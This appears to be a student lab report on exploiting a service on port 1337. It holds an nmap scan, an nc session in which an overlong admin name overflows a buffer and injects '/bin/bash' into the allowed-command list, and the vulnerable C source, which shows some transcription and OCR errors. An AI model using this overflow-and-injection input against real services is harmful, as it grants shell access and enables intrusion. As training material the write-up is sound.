

Ex070 Submission

Gary Jones

Contents

Executive Summary	2
Project Overview	2
Goals	2
Risk Ranking/Profile	2
Summary of Findings.....	2
Risk Rating	2
Attack Narrative	2

Executive Summary

Project Overview

A buffer vulnerability was exploited in order to gain access with bash shell. Utilizing nmap a scan discovered Brian's services and by using fuzz testing access was granted through a buffer overflow exploit.

Goals

Risk Ranking/Profile

Critical

Summary of Findings

Through this exercise a critical vulnerability was found which enabled access into the host website enabling the user to rummage throughout the various files in the host network. Through this endeavour a key was found: KEY009-

```
KEY009-=15\x02&5#\x12s7\x04*3\x08~thh\x0633 zz
```

Risk Rating

The risk of this vulnerability is Critical due to the access granted through the access granted by allowing users to insert any command they desire into the interface and having it run. The only offset to this risk is that sudo is unable to be run thereby granting Administrative access to the system. This is a critical finding that severely compromises the integrity of the system.

Attack Narrative

When analyzing www.artstailor.com with nmap for all open TCP ports port 1337 was found to be open (see figure 1). Utilizing netscape with the command nc the user was able to access and fuzz test the administrator account and thereby taking advantage of a buffer overflow vulnerability (see figures 2 and 3). As seen in figure 3 the user was able to initiate a bash session and gain live access to the file system.

After navigating through the file system the source code was identified (see figures 4, 5, and 6). After reviewing the source code it was found that the vulnerability stems from the interaction of several factors. Within the command block, identified by 'get admin user credential' the command fgets(admin, BUFLLEN, stdin); takes the user input and reads up to 1024 characters, as defined by BUFLLEN, and passes that into the admin character array which has been defined as size 16. This causes the overflow issue that is exploited by further code explained here. Because this step does not pass the while condition ensuring that the administrator name is brian the admin buffer is flushed with the

command `fflush(stdout)`; this is important because only admin array is reset and all other information is kept.

Based on the above information we transition to the effect with the command blocks identified with 'list available command and Check command against list'. The first block of code is the first area of vulnerability. Due to the buffer overflow causing only the first 16 characters to be erased this block of code is only able to print out a fraction of the available commands available to show. In place of the text it would normally show to the user the program instead shows the text that follows the 16th character the user inserts.

In the last block of text 'Check command against list.' the code only checks that the command the user input matches what is in the list before executing it using the `system((commands+CMDLEN*i)); command`. Because of the combination of these factors the user is able to type any random series of characters until the 16th spot and then replace the listed commands with one of their choice. In the case of this attack the user utilized the code `!/bin/bash` to allow direct and live access to the filesystem.

```

kali@kali:~$ nmap -p-65535 www.artstailor.com -sv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-18 22:49 EDT
Nmap scan report for www.artstailor.com (217.70.184.38)
Host is up (0.00051s latency).
rDNS record for 217.70.184.38: ns.artstailor.com
Not shown: 65530 closed ports
PORT      STATE SERVICE VERSION
0/tcp    filtered unknown
21/tcp   open  ftp      vsftpd 2.3.4
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
53/tcp   open  domain   ISC BIND 9.11.5-P4-5.1+deb10u5 (Debian Linux)
80/tcp   open  http     Apache httpd 2.4.38 ((Debian))
1337/tcp open  waste?

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
_/_/Nmap/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.91XI=7XD-10/18STime=616E3332SP=x86_64-pc-linux-gnuXr(N
SF:ULL,28,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n")
SF:Xr(GenericLines,78,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20char
SF:acters\)\nEnter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n
SF:Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n"Xr(GetRe
SF:quest,78,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n
SF:Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\nEnter\x20N
SF:ame\x20of\x20admin\x20\(\max\2015\20characters\)\n"Xr(HTTPOptions,78,
SF:"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\nEnter\x20
SF:Name\x20of\x20admin\x20\(\max\2015\20characters\)\nEnter\x20Name\x20of
SF:\x20admin\x20\(\max\2015\20characters\)\n"Xr(RTSPRequest,78,"Enter\x2
SF:Name\x20of\x20admin\x20\(\max\2015\20characters\)\nEnter\x20Name\x20o
SF:\x20admin\x20\(\max\2015\20characters\)\nEnter\x20Name\x20of\x20admin
SF:\x20\(\max\2015\20characters\)\n"Xr(RPCCheck,28,"Enter\x20Name\x20of\
SF:\x20admin\x20\(\max\2015\20characters\)\n"Xr(DNSVersionBindReqTCP,28,"
SF:Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n"Xr(DNSSt
SF:atusRequestTCP,28,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20chara
SF:acters\)\n"Xr(Help,50,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20c
SF:characters\)\nEnter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\
SF:\)\n"Xr(SSLSessionReq,50,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\2
SF:0characters\)\nEnter\x20Name\x20of\x20admin\x20\(\max\2015\20characte

```

Figure 1:

```

kali@kali:~$ nmap -p-65535 www.artstailor.com -sv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-18 22:49 EDT
Nmap scan report for www.artstailor.com (217.70.184.38)
Host is up (0.00051s latency).
rDNS record for 217.70.184.38: ns.artstailor.com
Not shown: 65530 closed ports
PORT      STATE SERVICE VERSION
0/tcp    filtered unknown
21/tcp   open  ftp      vsftpd 2.3.4
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
53/tcp   open  domain   ISC BIND 9.11.5-P4-5.1+deb10u5 (Debian Linux)
80/tcp   open  http     Apache httpd 2.4.38 ((Debian))
1337/tcp open  waste?

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
_/_/Nmap/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.91XI=7XD-10/18STime=616E3332SP=x86_64-pc-linux-gnuXr(N
SF:ULL,28,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n")
SF:Xr(GenericLines,78,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20char
SF:acters\)\nEnter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n
SF:Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n"Xr(GetRe
SF:quest,78,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n
SF:Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\nEnter\x20N
SF:ame\x20of\x20admin\x20\(\max\2015\20characters\)\n"Xr(HTTPOptions,78,
SF:"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\nEnter\x20
SF:Name\x20of\x20admin\x20\(\max\2015\20characters\)\nEnter\x20Name\x20of
SF:\x20admin\x20\(\max\2015\20characters\)\n"Xr(RTSPRequest,78,"Enter\x2
SF:Name\x20of\x20admin\x20\(\max\2015\20characters\)\nEnter\x20Name\x20o
SF:\x20admin\x20\(\max\2015\20characters\)\nEnter\x20Name\x20of\x20admin
SF:\x20\(\max\2015\20characters\)\n"Xr(RPCCheck,28,"Enter\x20Name\x20of\
SF:\x20admin\x20\(\max\2015\20characters\)\n"Xr(DNSVersionBindReqTCP,28,"
SF:Enter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\)\n"Xr(DNSSt
SF:atusRequestTCP,28,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20chara
SF:acters\)\n"Xr(Help,50,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\20c
SF:characters\)\nEnter\x20Name\x20of\x20admin\x20\(\max\2015\20characters\
SF:\)\n"Xr(SSLSessionReq,50,"Enter\x20Name\x20of\x20admin\x20\(\max\2015\2
SF:0characters\)\nEnter\x20Name\x20of\x20admin\x20\(\max\2015\20characte

```

Figure 2:

```
kali@kali: ~  
File Actions Edit View Help  
^C^C  
kali@kali: ~  
$ nc www.artstailor.com 1337  
Enter Name of admin (max 15 characters)  
aaaaaaaaaaaaaaaaa!/bin/bash  
Enter Name of admin (max 15 characters)  
brian  
Enter Command  
netstat -nat  
ip a  
/bin/bash  
/bin/bash  
ls  
bin  
boot  
dev  
etc  
home  
initrd.img  
initrd.img.old  
lib  
lib32  
lib64  
libx32  
lost+found  
media  
mnt  
opt  
proc  
root  
run  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz  
vmlinuz.old
```

Figure 3:

```

File Actions Edit View Help
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>

#define MY_PORT 1337
#define IP 0
#define MY_NAME "brian"

#define BUFLen 1024
#define NAMELEN 16
#define CMDLEN 12

int main(int argc, char const **argv, char const **envp) {

    pid_t child_pid;
    int server_fd, new_socket, valread;
    struct sockaddr_in sock_address;
    int opt = 1;
    int addrlen = sizeof(sock_address);
    char *enter_name = "Enter Name of admin (max 15 characters)";
    char *enter_command = "Enter Command";
    char commands[37];
    char admin[NAMELEN];
    char next_command[CMDLEN+1];

    // Populate command list
    strcpy(commands, "ps auxww");
    strcpy(commands+CMDLEN, "ip a");
    strcpy(commands+CMDLEN*2, "netstat -nat");

    // open socket
    if ((server_fd = socket(AF_INET, SOCK_STREAM, IP)) = 0) {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }
}

```

Figure 4:

```

File Actions Edit View Help

// open socket
if ((server_fd = socket(AF_INET, SOCK_STREAM, IP)) = 0) {
    perror("socket failed");
    exit(EXIT_FAILURE);
}

// Set listening address/port
sock_address.sin_family = AF_INET;
sock_address.sin_addr.s_addr = inet_addr("0.0.0.0"); // INADDR_ANY;
sock_address.sin_port = htons(MY_PORT);

// Get file descriptor for socket
if (bind(server_fd, (struct sockaddr *)&sock_address,
    sizeof(sock_address))<0) {
    perror("bind failed");
    exit(EXIT_FAILURE);
}

// Listen for connection
if (listen(server_fd, 3) < 0){
    perror("listen failure");
    exit(EXIT_FAILURE);
}

// Get connections
for (;;) {
    // Get one connection
    if ((new_socket = accept(server_fd, (struct sockaddr *)&sock_address,
        (socklen_t*)&addrlen)) < 0){
        perror("accept failure");
    }

    // Fork off new process to handle the connection
    child_pid = fork();

    // Handle child process
    if (child_pid = 0){

        // Dup socket to stdin and stdout
        dup2(new_socket, STDOUT_FILENO);

```

Figure 5:

```
sO,b [Z][B]tZOd禮et z d1路 4_G G M m?
File Actions Edit View Help
dup2(new_socket, STDOUT_FILENO);
dup2(new_socket, STDIN_FILENO);
close(new_socket);

// get admin user credential
while (strcmp(admin,MY_NAME) != 0) {
printf("%s\n",enter_name);
fflush(stdout); // Required for user interaction
fgets(admin, BUFLen, stdin);
admin[strlen(admin)-1] = '\0';
}

// Process commands
while(1) {

// list available commands
printf("%s\n",enter_command);
for(int i=2; i >= 0; i--){
printf(" %s\n", (commands + CMDLEN*i));
}
fflush(stdout);

// read user command, terminate on EOF
if (fgets(next_command, BUFLen, stdin) == NULL) {
exit(EXIT_SUCCESS);
}
next_command[strlen(next_command)-1] = '\0';

// Check command against list.
// This limits user to our specified command set!
for (int i=2; i >= 0; i--){
if (strcmp((commands+CMDLEN*i), next_command) == 0){
system((commands+CMDLEN*i));
}
}
} else {
close(new_socket);
}
}
```

Figure 6: